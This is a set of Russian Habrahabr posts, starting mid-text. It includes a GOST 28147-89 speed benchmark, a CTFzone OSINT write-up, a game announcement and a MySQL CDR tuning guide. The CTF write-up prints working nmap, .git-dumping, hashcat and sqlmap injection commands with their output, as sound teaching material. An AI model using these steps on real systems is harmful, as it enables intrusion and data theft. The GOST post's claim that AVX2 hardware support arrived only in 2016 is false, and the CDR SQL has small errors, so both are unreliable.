сможешь деться, убежать из своей компании. Когда работаешь по найму, ты в любой момент можешь уйти, если что-то не устраивает, если решишь, что в этой фирме работает слишком много «дураков». Но в своей компании можно уволить всех «дураков», а ситуация не измениться к лучшему: потому что самый главный «дурак» останется на месте. Это полезный опыт, но бывают иногда очень тяжелые моменты. Бывает, например, такая ситуация, когда времени немного: нужно быстрее запускать проект и окупаться. В такой ситуации ты может капризничать: то не нравится, это не нравится. Вот мы, например, пользуемся JIRA. Она лично мне не очень нравится, но команда без нее пока не может работать и чем-то ее заменить. Какие-то вещи мне еще не нравятся. Но когда проект находится на грани выживания, приходится закрывать глаза на все – лишь бы это работало. Поэтому в любой ситуации нужно искать решение. Когда это твой собственный проект – ты просто не можешь не искать.
https://habrahabr.ru/post/318766/
habrahabr
Второе пришествие ГОСТ 28147-89: Честные тесты
['криптография', 'ГОСТ 28147-89', 'криптопреобразование', 'криптофункция', 'криптопроцедура', 'AES-256', '8 центр', '«Кузнечик»', 'многопоточность', 'шифрование', 'скоростное копирование', 'Bitlocker', 'AVX-512.']
Около десяти лет тому назад симметричная криптография, основанная на ГОСТ 28147-89, перестала удовлетворять потребностям аппаратных платформ по скоростным параметрам. Скорости криптопреобразований,...
Около десяти лет тому назад симметричная криптография, основанная на ГОСТ 28147-89, перестала удовлетворять потребностям аппаратных платформ по скоростным параметрам. Скорости криптопреобразований, обеспечиваемые алгоритмами реализованными на регистрах общего назначения процессоров, не успевали за скоростями обмена информацией в сетях и на дисковых накопителях. С другой стороны (американской), появился AES-256, который показывал гораздо лучшие скоростные параметры при той же степени криптостойкости. В этой ситуации 8 центр ФСБ начал работы над новым блочным шифром, который получил в последствии название «Кузнечик» от начальных букв фамилий авторов. Изначально это была бесперспективная затея, поскольку повторялась логика шифра AES, но если тот был ускорен аппаратно в процессорах Интел и АМД, то у Кузнечика такого аппаратного ускорения на этих процессорах конечно быть не могло. Так что Кузнечик, это классический пример выброшенных на ветер бюджетных денег и не малых… Но был и другой вариант ускорения криптографических операций, он к сожалению не получил официальной поддержки в силу специфических причин. Этот вариант предполагал разработку алгоритмов реализации ГОСТ 28147-89 для многопоточности и доработку самого стандарта под требования многопоточности. Многопоточность базируется на трех новых методах реализации ГОСТ 28147-89 в процессорах архитектуры х86-64. Первый это конвейерная работа процессора в режиме шифрования. Второй это реализации блока замен на SSE/AVX командах процессора. Третий это использование специализированных регистров XMM/YMM/ZMM, имеющих разрядность 16/32/64 байта. Эти новые методы в сумме позволили поднять быстродействие шифрования по ГОСТ 28147-89 как минимум на порядок и обеспечивать скоростные параметры шифрования ничуть не хуже американского AES-256, который использует специальный криптоускоритель в процессорах Интел/АМД. Но, как говорится, бог шельму метит, а время расставляет все по своим законным местам. В настоящее время шифр «Кузнечик» воспринимается как экзотика и не имеет практического применения из-за низкой скорости преобразований и сомнительной репутации, вместо него производители стали использовать многопоточное шифрование по ГОСТ 28147-89. Но об этом они стараются не говорить, поскольку знают, что нарушают авторские права. Методы ускорения шифрования запатентованы. Во многом из-за этого не было честных тестов на быстродействие разных систем шифрования, а в сетевых изданиях и на форумах гуляли всякие сказочные и абсолютно голословные цифры, ничего не имеющие общего с реальностью. Поэтому и сложился устойчивый миф о превосходстве AES-256 над ГОСТ 28147-89 по скоростным параметрам чуть ли не в десяток раз… Настало время провести честное тестирование. Честные тесты В статьях, посвященных криптографическим преобразованиям, приводятся разные «фантастические» данные по скорости работы криптофункции, очень много в этих цифрах лукавства. Мы же будем честными, никаких «синтетических» тестов, все «по-настоящему». Шифрование по сути это служебный фоновый процесс. Криптопроцедура работает в фоне гораздо более важных задач и ситуация со 100% загрузкой процессора шифрованием это экзотика. Поэтому не будем ускорять криптофункцию за счет увеличения приоритета и числа используемых процессорных ядер, ограничим максимальную загрузку процессора криптофункцией уровнем в 15%. В демонстрационной версии программы FastSecurityBoxs ( собственная поделка, заинтересовавшимся просьба написать в комментарии ) создание дампов дисков с шифрованием проводилось на четырех ядерном процессоре Skylake с частотой 2,6гГерца, гипертрейдинг активирован (всего 8 логических ядер). Криптопроцедура работает на одном логическом ядре (из 8 имеющихся), соответственно загрузка ЦП создаваемая им не превышает 12-15 процентов, что соответствует реальной работе фоновой задачи. Для копирования использовалось два SSD диска, скорость чтения/записи на них в режиме файловой системы составляет примерно 450-500Мбайт/сек. на очищенном устройстве, после выполнения TRIM. Вот чистое копирование без криптографии: Чтение секторов диска ( ProjectFK.exe ) занимают 5%, запись в файл (System) занимает 2% процессорного времени на скорости 449мбайт/сек. Запомним эти цифры, когда включим криптографию к ним будут добавляться затраты на криптопреобразования, соответственно можно будет оценить затраты на само криптопреобразование процессорной нагрузки. Теперь, создавая дамп, включим криптографию. Сначала шифрование в 8 потоков по ГОСТ 28147-89: Скриншот создания резервной копии дисков с использованием криптопреобразования строго по ГОСТ в 8 потоков. Скорость реально создаваемого криптографического дампа 190мбайт/сек. Скорость ограничена криптопреобразованием, поскольку загрузка ЦП создаваемая программой ProjectFK.ехе составляет 12%, в нашем случае это предел по загрузке логического ядра процессора. SSD диски могут работать гораздо быстрее, но их тормозит ограничение на использование в криптопроцедуре только «половинки» одного физического ядра процессора. На криптопреобразование в программе ProjectFK тратится 7% загрузки процессора. Теперь шифрование в 16потоков по ГОСТ 28147-89: Скриншот создания резервной копии дисков с использованием криптопреобразования строго по ГОСТ в 16 потоков. Этот режим работает эффективно только на процессорах Интел поколения Skylake и выше, но об этом будет сказано позже. Скорость выросла до 334мБайт/сек. Загрузка ЦП 10,5%, здесь еще ограничение создает криптопреобразование, но загрузка на логическое процессорное ядро снижается. На криптопреобразование в программе ProjectFK тратится 5.5% загрузки процессора. Ну а что же может обеспечить американское шифрование AES? Возьмем самое продвинутое решение использующее этот шифр,- Битлокер. Функция шифрования встроена у него в ядро ОС и максимально оптимизирована, это вам не пользовательское приложение как FastSecurityBoxs, так что фора у него есть значительная… Вот что дает Битлокер (AES-128 на 10 раундах ) когда идет создание дампа на зашифрованном диске: Здесь программа ProjectFK.exe только создает дамп, этот дамп шифруется битлокером непосредственно в процессе System который записывает его на диск, соответственно нужно суммировать нагрузки процессора создаваемую обоими этими процессами. Нагрузка составляет 12,5 процентов процессорного времени на скорости создания шифрованного дампа 392Мбайт/сек. На криптопреобразование в процессе System тратится 5% загрузки процессора. Совсем не плохо, только нужно учитывать, что AES-128 не ровня ГОСТ 28147-89, они из разных весовых категорий криптостойкости. «Сухой остаток» тестов Шифрование по ГОСТ 28147-89 в фоновом режиме (5-7% загрузки ЦП), на скорости 200мбайт/сек., уже фантастика, эти параметры в реальных приложениях ни одна система, с аппаратно ускоренной AES-256 криптографией на 14 раундах обеспечить не в состоянии. В режиме AES-128 на 10 раундах удается работать чуть быстрее, но криптостойкость этого алгоритма значительно ниже криптостойкости ГОСТ 28147-89 из-за вдвое меньшего размера ключа. Констатируем очевидное. Криптографическая процедура по строгому ГОСТ 28147-89 в многопоточном варианте способна выполняться в фоновом режиме на скоростях 200-400мбайт/сек., загружая процессор всего на 5-7 процентов. Но ничто не мешает поднять скорости и выше, увеличив загрузку процессора. Сертифицированное ФСБ средство криптографии по строгому ГОСТ 28147-89 может в многопоточном режиме обеспечивать фоновую шифрацию современных SSD и HDD дисков на интерфейсе SATA с загрузкой процессора этой операцией не более 7%. Это позволяет использовать ГОСТ 28147-89 в программах типа Битлокер даже более эффективно чем применяемый сейчас американский стандарт AES-128, но с гораздо более «сильной» криптографической защитой… Для дисков на интерфейсе NVMe уже сейчас работающих на скоростях 2-3Гбайта/сек. и для сетей 10G/10G+ нужно увеличить скорость еще как минимум в два раза. Тут есть два пути. Первый, пассивный путь уже опробован, когда переходили с 8 потоков на 16 потоков при реализации ГОСТ 28147-89. Можно подождать внедрения в процессора набора команд AVX-512. Эти команды оперируют с регистрами размером в 64 байта и могут обеспечить многопоточное выполнение по строгому ГОСТ 28147-89 сразу в 32 потоках. Что автоматически удвоит производительность криптофункции. Здесь есть маленькое «но», процессора с поддержкой AVX-512 появятся только в следующем году, и команды AVX-512 будут сначала эмулироваться микропрограмно, а значит выполняться они будут очень медленно. Так медленно, что использование их в реальных программах бессмысленно. Это мы уже видели на примере внедрения команд AVX2, между появлением этого набора команд и переводом его выполнением на аппаратный цикл прошло 3года. Только в 2016году Интел ввела аппаратную поддержку AVX2 команд на процессорах поколения Skylake. Ждать когда Интел переведет AVX-512 на аппаратную реализацию нужно будет еще примерно 3 года… Второй путь активный, он заключается в разработке нового алгоритма шифрования, изначально заточенного на многопоточность, ведь сейчас используется только малая часть потенциала параллельных вычислений. Вот этим и займемся далее, не ждать же 3 года… Так что ожидайте в скором будущем третьего пришествия ГОСТ 28147-89.
https://habrahabr.ru/post/318768/
habrahabr
CTFzone write-ups — Grand Finale
['ctfzone', 'bizone', 'zeronights', 'ctf']
Друзья, настало время раскрыть последнюю тайну CTFzone. Мы готовы опубликовать райтап на одно из самых сложных заданий соревнований – OSINT на 1000 очков. Как и в случае с Reverse 1000, мы решили...
Друзья, настало время раскрыть последнюю тайну CTFzone . Мы готовы опубликовать райтап на одно из самых сложных заданий соревнований – OSINT на 1000 очков. Как и в случае с Reverse 1000 , мы решили вынести последнее задание ветки в отдельный пост ввиду большого размера и сложности. Решения на таски попроще мы публиковали ранее, и теперь пришло время финального аккорда. Мы постарались сделать наш заключительный райтап максимально подробным, поэтому статья получилась длинной и интересной. Все готовы? ;) OSINT_1000: Polish businessman A.U.R.O.R.A.: Lieutenant, it's time for another memoir. Are you ready? This part of Scott's diary is about Captain Picard and his brother. Scott's memoirs. April 19, 2047. "Is it just a joke or true blackmail?! Captain has just called me and said that his brother – very rich businessman Wilczek — has found a USB drive on his table this morning which contains very dangerous extortion and threats. He doesn't want anyone in the department to know what is happening as there is some dirt on this USB and the crook has more. He wants me to do the impossible and to find a blackmailer but it’s my only chance to come back to Earth". Well, I assume Lieutenant Scott succeeded as you are on his place. But how did he manage to do it?. Решение: Пришло время последнего эпизода воспоминаний Скотта. На этот раз мы имеем дело с корпоративным шантажом. Богатому польскому бизнесмену была подброшена флешка, на которой содержится очень опасная для него информация. Наша задача — найти шантажиста. Но если раньше все было вполне реально, то на этот раз задача выглядит невыполнимой... Нам был предоставлен образ флешки, в котором хранился odt-документ: В документе всего две страницы, первая содержит письмо господину бизнесмену: Вторая страница содержит часть переписки из почты этого бизнесмена и скан документа с пополнениями счета. Суммы, конечно, внушительные: Чист данный человек или не совсем, судить не нам (а если и нам, то про себя). Наша задача — найти того, кто организовал шантаж. Ну что ж, приступим. Все, что у нас есть — это образ с документом, в котором содержатся имя и название фирмы, а так же почта жертвы. По доменному имени даже можно найти какую-то информацию в сети. Но, как заметили участники, решавшие это задание: "Да сразу понятно, что это просто вода". Поиск по имени тоже ничего примечательного нам не дает… Попробуем изучить документ, в частности его метаданные. Каждый хоть раз находил там что-то нужное. К сожалению, в этот раз в метаданных документа нет никакой полезной информацией, поэтому попробуем изучить структуру документа. Мы знаем, что odt-файл, как и .doc(x), и .apk, и многие другие файлы, представляет собой обычный ZIP, но тем не менее имеет четкую структуру. Распакуем этот файл, скопировав его с расширением .zip : Изучение структуры документа обычно начинают с файла meta.xml , в котором содержатся общие сведения о документе. Кажется, тут что-то есть: Мы находим новое имя: "kasperkowalkiewicz". Отлично, есть зацепка! Продолжаем поиски, опираясь на нее. Следует заметить, что многие участники думали, что это и есть конец задания. Тут можно было вспомнить, что это самое сложное задание в ветке OSINT, и не останавливаться на достигнутом ;) Где бы мы ни смотрели, поиск по имени ничего не дает. Единственное, в чем мы уверены — это в польском происхождении имени. Как говорилось в одной басне: "Иной перемудрит, стараясь найти решение какой-то проблемы, а оно, оказывается, лежит на поверхности" . Попробуем начать сначала. Рассмотрим имеющийся у нас образ флешки. Изучив его, мы найдем название, данное пользователем при каких-то условиях (отсылка на это и будет хинтом для пользователей во время соревнования): В поиске аббревиатуры помогает "Википедия". Похоже, мы нашли дальнеший путь действий: Далее проведем поиск по имени на "гите": Есть пользователь с таким именем! Посмотрим, что у него на странице и в репозиториях: Мы узнали никнейм этого пользователя и нашли один репозиторий , в котором ютится одинокий скрипт на bash'е. Изучив скрипт, мы понимаем, что это недописанный чекер сайта, который работает исключительно через TOR (согласно комментарию в начале скрипта). Внизу есть комментарий на польском, который просит разработчика дописать его как можно скорее. Самой примечательной является строка, которая получает статус-код доступности сайта. IP-адрес в ней представлен в hex-виде: Попробуем узнать, какой IP-адрес у сервера, и посмотрим, чем он "светит" наружу: root@localGhost-->~# nmap -Pn --open 0xB98FAD57 Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:21 MSK Nmap scan report for buono-restoran.ru (185.143.173.87) Host is up (0.0077s latency). Not shown: 995 closed ports, 4 filtered ports PORT STATE SERVICE 8081/tcp open blackice-icecap Мы видим, что hex преобразовался в читаемый IP-адрес. Этой информации нам недостаточно, смотрим дальше: root@localGhost-->~# nmap -p- -Pn -A --open 185.143.173.87 Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:23 MSK Nmap scan report for buono-restoran.ru (185.143.173.87) Host is up (0.012s latency). Not shown: 65527 closed ports, 6 filtered ports PORT STATE SERVICE VERSION 8081/tcp open http Apache httpd | http-git: | 185.143.173.87:8081/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: first commit |_http-server-header: Apache |_http-title: May be later... 9501/tcp open ssh OpenSSH 7.2p2 (protocol 2.0) | ssh-hostkey: | 2048 5c:b8:8b:49:5c:8f:0a:0d:ce:b4:27:ea:22:e6:42:c6 (RSA) |_ 256 d8:2d:bc:d0:f4:76:f9:0b:fe:4e:a4:f4:93:95:90:c8 (ECDSA) Device type: general purpose Неплохо, на нестандартном порту висит Апач, плюс есть git-папка с какими-то исходниками. Будем разбираться. Переходим на сайт: Сайт находится в разработке. Поиск по директориям дал следующие пути: admin , 404 , .git . Становится интересно. Попробуем посмотреть, что за исходники в гите. Для этого нам нужна утилита rip-git из пакета dvcs-ripper : root@localGhost-->~/gear/dvcs-ripper# rip-git.pl -u http://185.143.173.87:8081/.git [i] Using session name: REAqxQuB Проверка каталогов объектов: 100% (256/256), готово. Скорее всего, исходники у нас уже есть. Проверим содержимое выкачанных файлов: root@localGhost-->~/gear/dvcs-ripper# ls -d */ 404/ admin/ root@localGhost-->~/gear/dvcs-ripper# tree 404/ admin/ 404/ ├── app.css ├── fonts.css └── notfound.gif admin/ ├── config.php ├── functions.php ├── index.php ├── login.php └── style ├── bootstrap.min.css ├── bootstrap.min.js ├── jquery.min.js └── style.css Опа! В папке admin есть интересные файлы, попробуем поискать в них подсказку. Файл login.php содержит важную информацию: Логин мы получили, но наш пароль пока в хешированном виде, да еще и с "солью". Логин формы на сайте нет, но из исходников мы понимаем, что логиниться можно посредством запроса. Попробуем побрутить пароль через hashcat и начнем с простых словарей. Формат хеш-файла задаваемого hashcat'у будет в виде: "ХЕШ: СОЛЬ", md5($pass.$salt) формат в hashcat . Создаем файл, содержащий хеш с "солью", и запускаем брут: root@localGhost-->~/tmp# echo "58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9" > salted.hsh root@localGhost-->~/tmp# hashcat -m 10 -a 3 salted.hsh /tmp/10k_most_common.txt ... 58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9:qweqwe Session.Name...: hashcat Status.........: Cracked Input.Mode.....: Mask (qweqwe) [6] (30.06%) Hash.Target....: 58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I... Hash.Type......: md5($pass.$salt) Time.Started...: 0 secs Speed.Dev.#1...: 0 H/s (0.00ms) Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 1/1 (100.00%) Rejected.......: 0/1 (0.00%) А вот и словарный пароль: "qweqwe" — удача снова на нашей стороне! Пробуем залогиниться через адресную строку, формат запроса простой: Бинго! Мы попали в некую админстративную панель, название совпадает с упоминаниями на гитхабе: "ZNet" . Однако пока все не совсем понятно, какие-то боты, страны: Пройдемся по записям в этой таблице: Перейдя по первой записи, мы видим путь в строке браузера: http://185.143.173.87:8081/admin/?bot_id=1053. Параметр "id" всегда наталкивает на мысль об SQL-инъекции ;) Начитавшись в гугле по теме "advanced sql injection techniques", демонстрируем свое превосходство: Ковырять руками я это, конечно же, не буду, поэтому натравим sqlmap . Добавим куки в параметры и посмотрим, какие таблицы мы сможем получить: root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dbs --batch [*] information_schema [*] web Нам интересна вторая база — "web" . Попробуем получить таблицы из базы: root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --tables -D web --batch Database: web [2 tables] +--------------+ | admin_access | | bots | +--------------+ В таблице "bots" нет ничего полезного. Изучим ту, что имеет более примечательное название: root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --columns -D web -T admin_access --batch Database: web Table: admin_access [3 columns] +------------+------+ | Column | Type | +------------+------+ | auth_time | text | | user_agent | text | | user_ip | text | +------------+------+ В таблице "user_agent" среди множественного входа админа мы нашли 3 уникальных юзерагента, причем один из них явно юзерагент TOR-браузера: Предположим, что пользователь заходил минимум с двух машин, ведь TOR-браузер может стоять на каждой из них (или даже с одной, т.к. подделать юзерагент не составляет труда. Он мог просто пользоваться двумя разными браузерами на одной машине). Нам необходимо получить информацию об IP-адресах, с которых выходил пользователь: root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dump -D web -T admin_access -C user_ip --batch [36 entries] +-----------------+ | user_ip | +-----------------+ | 104.233.95.49 | | 128.199.218.14 | | 158.58.170.130 | | 162.247.72.202 | | 162.247.73.74 | | 173.255.229.8 | | 176.10.99.202 | | 176.126.252.12 | | 176.126.252.12 | | 185.100.86.199 | | 185.72.244.24 | | 188.68.237.55 | | 193.15.16.4 | | 195.154.164.200 | | 197.231.221.211 | | 198.23.161.144 | | 216.17.99.183 | | 216.230.148.77 | | 31.220.45.142 | | 37.187.239.8 | | 46.183.221.231 | | 5.196.73.88 | | 62.133.130.105 | | 62.133.130.105 | | 64.137.237.81 | | 77.247.181.162 | | 77.254.3.32 | | 79.124.59.194 | | 87.118.92.43 | | 88.167.163.142 | | 91.134.232.61 | | 91.240.65.16 | | 91.240.65.16 | | 95.211.205.151 | | 95.211.226.242 | | 96.35.130.132 | +-----------------+ Интересно, что заходов было очень много — 33 записи являются уникальными. Очевидно, причина повторения адресов кроется в том, что пользователь заходил на сайт повторно с разницей в несколько минут. Это наводит на определенные мысли. Берем первый по списку IP-адрес и пробуем поискать о нем информацию: Как мы видим, это TOR-нода. Попробуем рандомный IP c другим юзерагентом и получим примерно тоже самое: Досадно… Выходит, что трафик Каспера Ковалькевича всегда "торифицирован", и он нам ничего не даст. Тем не менее, на всякий случай проверим все IP-адреса. Всем известно, что TOR ежеденевно публикует список своих выходных узлов. Список доступен по этому адресу . Он обновляется каждый день, так как одни ноды исчезают, а другие добавляются. Сформируем два файла — в один поместим список выходных нод, а во второй полученную нами базу адресов. Далее попытаемся найти адреса, которых нет в списке TOR'а, если таковые имеются. Можно попробовать написать скрипт для получения разницы, но намного быстрее будет воспользоваться bash'ем. Сначала посчитаем количество строк в двух файлах, а затем сравним: root@localGhost-->/tmp/ips# wc -l * 36 kasper.lst 1166 tor.lst 1202 итого root@localGhost-->/tmp/ips# comm -13 <(sort tor.lst) <(sort kasper.lst) 162.247.73.74 188.68.237.55 195.154.164.200 216.17.99.183 5.196.73.88 62.133.130.105 91.240.65.16 95.211.226.242 Разница совсем небольшая, можно проверить руками. Ищем в гугле: "наш_IP tor". Из всех IP-адресов только 188.68.237.55 никакого отношения к TOR'у не имеет: Посмотрим информацию об этом IP-адресе: Похоже, этот адрес принадлежит тому самому Касперу Ковалькевичу. Посмотрим, что на нем есть. На машине висит Апач, главная страница выдает какую-то странную фразу: Ищем информацию по строкам: "i hereby claim" и находим отсылку на keybase.io. Keybase.io — это всеобщий репозиторий открытых ключей, где все ключи соответствуют уникальным именам пользователей. Попробуем отыскать ключ нашего пользователя. Попробуем погуглить по именам, которые мы ранее находили на данном сервере, но это нам ничего не дает. Почитав поподробнее про хранение ключей, мы выясняем, что ключ может лежать в папке ".well-known". Проверяем и этот вариант: Ура! Здесь есть какой-то файл, ознакомимся с его содержимым: Есть и другой, более простой способ нахождения этой папки. Можно было просто воспользоваться утилитой Dirsearch , в арсенале которой есть добротный словарь, в котором, в отличие от словарей аналогичных утилит, есть упоминание этой папки: Переходим на страницу пользователя по ссылке https://keybase.io/prepro : Изучаем страницу пользователя и видим на ней сокращение от знакомого нам имени. Читаем юзеринфо, из которого мы узнаем, где и кем работает наш пользователь. Теперь у нас есть информация о шантажисте, которую мы позже передадим заинтересованным людям. Но это не все! Нас здесь ждет еще кое-что интересное — наш флаг: "H0w_DiD_U_FinD_m3" . Вот теперь это действительно конец задания ;) Ответ: ctfzone{H0w_DiD_U_FinD_m3} P.S.: задание включало в себя цепочку разного рода логичных действий, но без подсказок оно не решалось. Идея с именем в документе пришла после прочтения вот этой статьи , где говорится о том, что при определенных условиях настроек и путей сохранения такое случается. Подсказка с названием образа флешки была необходима, т.к. без нее невозможно было понять дальнейший ход действий. Как у нас получилось дойти до конечной точки? Как мы помним, пользователь работал через TOR и, по идее, никаких следов не оставил. Однако один раз он все же забыл это сделать, но на практике такое редко случается. Данное задание решила только одна команда, и мы согласны с тем, что задание получилось действительно непростым для индивидуального CTF. Друзья, вот и все! Все райтапы опубликованы, все тайны CTFzone раскрыты, но это только начало. Мероприятие в рамках ZERONIGHTS 2016 – это первый шаг компании BI.ZONE в области организации CTF, и впереди вас ждут еще более масштабные и захватывающие соревнования. Мы ждем ваши предложения, комментарии и вопросы в нашем чате в телеграме и в комментариях к постам. Оставайтесь с нами, и мы обещаем, дальше будет только круче ;) Всем удачи и до новых встреч!
https://habrahabr.ru/company/bizone/blog/318652/
habrahabr
Новогодняя игра от Rambler&Co
['яйца', 'ну погоди', '2017', 'новый год', 'игры', 'браузерные игры']
Наверное, среди нас нет ни одного человека, кто не работал бы в этом году за компьютером. Письма, код, таблицы, аналитика, макросы, картинки, фотографии, инфографика, смайлики, чего только мы не...
Наверное, среди нас нет ни одного человека, кто не работал бы в этом году за компьютером. Письма, код, таблицы, аналитика, макросы, картинки, фотографии, инфографика, смайлики, чего только мы не набирали в этом году на скрипучих потёртых клавиатурах. Но сегодня, в преддверии Нового года, пора отложить всё и приняться за настоящую работу . Rambler&Co приглашает буквально с помощью нескольких клавиш собрать все итоги уходящего года и с багажом побед отправиться навстречу Новому 2017 году! Игра «2017 яиц» по мотивам советского портативного шедевра «Ну, погоди!» рассказывает о приключениях очаровательной обезьяны, которая с помощью своего хвоста ловит скатывающиеся с елочных веток куриные яйца. Так поймайте удачу за хвост и насобирайте полную корзину яиц на весь следующий год. С Новым годом! Если вам понравилась игра, обязательно поделитесь ей в социальных сетях и добавьте новогоднего настроения своим друзьям и близким. И, конечно, не забудьте рассказать в комментариях о своих впечатлениях от игры, нам очень интересно ваше мнение.
https://habrahabr.ru/company/rambler-co/blog/318742/
habrahabr
CDR. Сохранить и приумножить
['asterisk', 'mysql', 'cdr']
Очень часто, созданию базы данных CDR отводится мало места в описаниях настройки. Как правило, все сводится к цитате SQL команд и обещанию, что если кинуть ее в консоль то «все будет ОК». К...
Очень часто, созданию базы данных CDR отводится мало места в описаниях настройки. Как правило, все сводится к цитате SQL команд и обещанию, что если кинуть ее в консоль то «все будет ОК». К примеру, первая же ссылка в гугле рекомендует создать табличку таким образом: CREATE TABLE `cdr` ( `calldate` datetime NOT NULL default '0000-00-00 00:00:00', `clid` varchar(80) NOT NULL default '', `src` varchar(80) NOT NULL default '', `dst` varchar(80) NOT NULL default '', `dcontext` varchar(80) NOT NULL default '', `channel` varchar(80) NOT NULL default '', `dstchannel` varchar(80) NOT NULL default '', `lastapp` varchar(80) NOT NULL default '', `lastdata` varchar(80) NOT NULL default '', `duration` int(11) NOT NULL default '0', `billsec` int(11) NOT NULL default '0', `disposition` varchar(45) NOT NULL default '', `amaflags` int(11) NOT NULL default '0', `accountcode` varchar(20) NOT NULL default '', `userfield` varchar(255) NOT NULL default '' ); ALTER TABLE `cdr` ADD INDEX ( `calldate` ); ALTER TABLE `cdr` ADD INDEX ( `dst` ); ALTER TABLE `cdr` ADD INDEX ( `accountcode` ); Сразу можно обратить внимание, что как минимум два индекса в базе бесполезны. Это calldate и accountcode. Первый в силу того, что при ежесекундном добавлении записей, размер индекса будет равен количеству записей в самой базе. Да, этот индекс отсортирован, и можно применить некоторые способы к ускорению поиска, но будет ли он эффективен? Второй индекс (accountcode) практически никогда и никем не используется. В качестве подопытной базы — база с 80 млн записей. Выполним запрос: SELECT * FROM CDR WHERE src=***** AND calldate>'2016-06-21' AND calldate<'2016-06-22'; /* Affected rows: 0 Найденные строки: 4 Предупреждения: 0 Длительность 1 query: 00:09:36 */ Почти 10 минут ожидания. Другими словами, создание отчетов становится проблемой. Конечно, табличку можно ратировать, но зачем такие жертвы, если достаточно провести оптимизацию. Внимание! Никогда не делай это в продакшене! Только на копии базы! База лочится на время от 1 часа до нескольких и возможны потери данных при аварийном завершении! Итак, два шага к успеху эффективного хранения CDR: Разбить на партиции, чтобы ускорить выборку по периодам Эффективное индексирвоание Шаг 0. Выбор движка хранения Собственно есть два распространенных варианта — MyISAM и INNODB. Холиварить на эту тему можно бесконечно долго, но сравнение движков на реальной базе дало перевес в пользу MyISAM. Причин тут несколько: При чистой настройке сервера неопытным админом, именно MyISAM более корректно работает при индексации больших объемов. В то время, как INNODB требует тюнинга. В противном случае можно увидеть интересные ошибки о том, что индекс не может быть перестроен MyISAM при включении опции FIXED ROW приобретает дополнительные свойства, а именно: Устойчивость к сбоям даже при падении сервера Возможность читать файл напрямую из внешнего приложения, минуя сервер MySQL, что бывает полезно Скорость обращения к рандомным строкам выше, за счет того, что все строки имеют одинаковую длину Другими словами, для логирования лучше всего (ИМХО) подойдет MyISAM. Остановимся на нем. Шаг 1. Партиции. В виду того, что мы либо дополняем базу, либо читаем из нее, эффективно раз и навсегда поделить базу на файлы, чтобы уменьшить возможное количество обращений, при чтении определенных временных промежутков. Естественно, разбивать базу нужно по какому-то ключу. Но по какому? Определенно, это должно быть время, но эффективно ли бить базу по calldate? Думаю нет, поэтому вводим дополнительное поле, которое нам также пригодиться и в следующем шаге. А именно — дату. Просто дату, без времени. Вводим дополнительное поле date, и делаем очень простой триггер на табличку, before update cdr: BEGIN SET new.date=DATE(new.calldate); END Таким образом, в это поле у нас попадет только дата. И сразу разбиваем табличку на партиции по годам: ALTER TABLE cdr PARTITION BY RANGE (YEAR(date)) (PARTITION old VALUES LESS THAN (2015) ENGINE = MyISAM, PARTITION p2015 VALUES LESS THAN (2016) ENGINE = MyISAM, PARTITION p2016 VALUES LESS THAN (2017) ENGINE = MyISAM, PARTITION p2018 VALUES LESS THAN (2018) ENGINE = MyISAM, PARTITION p2019 VALUES LESS THAN (2019) ENGINE = MyISAM, PARTITION p2020 VALUES LESS THAN (2020) ENGINE = MyISAM, PARTITION p2021 VALUES LESS THAN (2021) ENGINE = MyISAM, PARTITION p2022 VALUES LESS THAN (2022) ENGINE = MyISAM, PARTITION p2023 VALUES LESS THAN (2023) ENGINE = MyISAM, PARTITION pMAXVALUE VALUES LESS THAN MAXVALUE ENGINE = MyISAM) Готово, теперь если мы будем выборку делать с указанием диапазона даты, то MySQL не придется лопатить всю базу за все года. Небольшой плюсик уже есть. Шаг 2. Индексируем базу. Собственно, это самый важный шаг. Эксперименты показывают, что в 90% случаев возникает необходимость в индексах на 3 столбцах (по мере необходимости): date src dst date MySQL может использовать только один индекс за раз, поэтому некоторые администраторы пытаются создавать составные индексы. Эффектность их не очень высока, потому что как правило приходиться выбирать диапазоны, а в этом случае составные индексы игнорируются MySQL, т.е. происходит FullScan. Исправить поведение скуля мы не можем, но можем сделать так, чтобы количество строк для сканирования было минимальным и дать движку выбор, какой индекс использовать. С одной стороны, нам необходима максимальная подробность индекса, с другой стороны нам нужно затратить как можно меньше операций, чтобы получить диапазон, который мы будем перебирать. Именно поэтому и рекомендую использовать индекс по полю date, а не calldate. Количество элементов в индексе будет равно количеству дней, с момента начала ведения базы, что позволит базе быстро перейти к нужным строчкам. Есть еще один споcоб помочь базе — сделать так, чтобы она могла вычислить положение строки в файле еще ДО открытия файла. Именно для этого можно использовать FIXED ROW. Положение строки в файле будет вычисляться умножение номера строки на длину строки, а не перебором. Естественно, у того подхода есть жертвы — база будет занимать на диске значительно больше места. Вот к примеру: Размер базы вырос с 18 Гб до 53,8 Гб. Делать или нет — выбор каждого админа, но если место на сервере позволяет, то это будет еще одним плюсиком. src,dst Тут несколько меньше простора для оптимизаций. Точнее, один момент: Если у вас не используется текстовых номеров, например в софтфонах, то данные поля можно преобразовать в BigInt, что тоже очень хорошо скажется на индексировании и выборке. Но если, Вы как и мы, используете текстовые номера, то данная оптимизация не для вас и придется смириться с более низкой производительностью. В качестве вишенки на торте — подчищаем те поля, которые нас не интересуют и выставляем размер полей в ожидаемый для нашего случая. У меня получилось вот так: Ну и финальный запрос: SELECT * FROM CDR WHERE src=***** AND date='2016-06-21'; /* Affected rows: 0 Найденные строки: 4 Предупреждения: 0 Длительность 1 query: 0,577 sec. */ 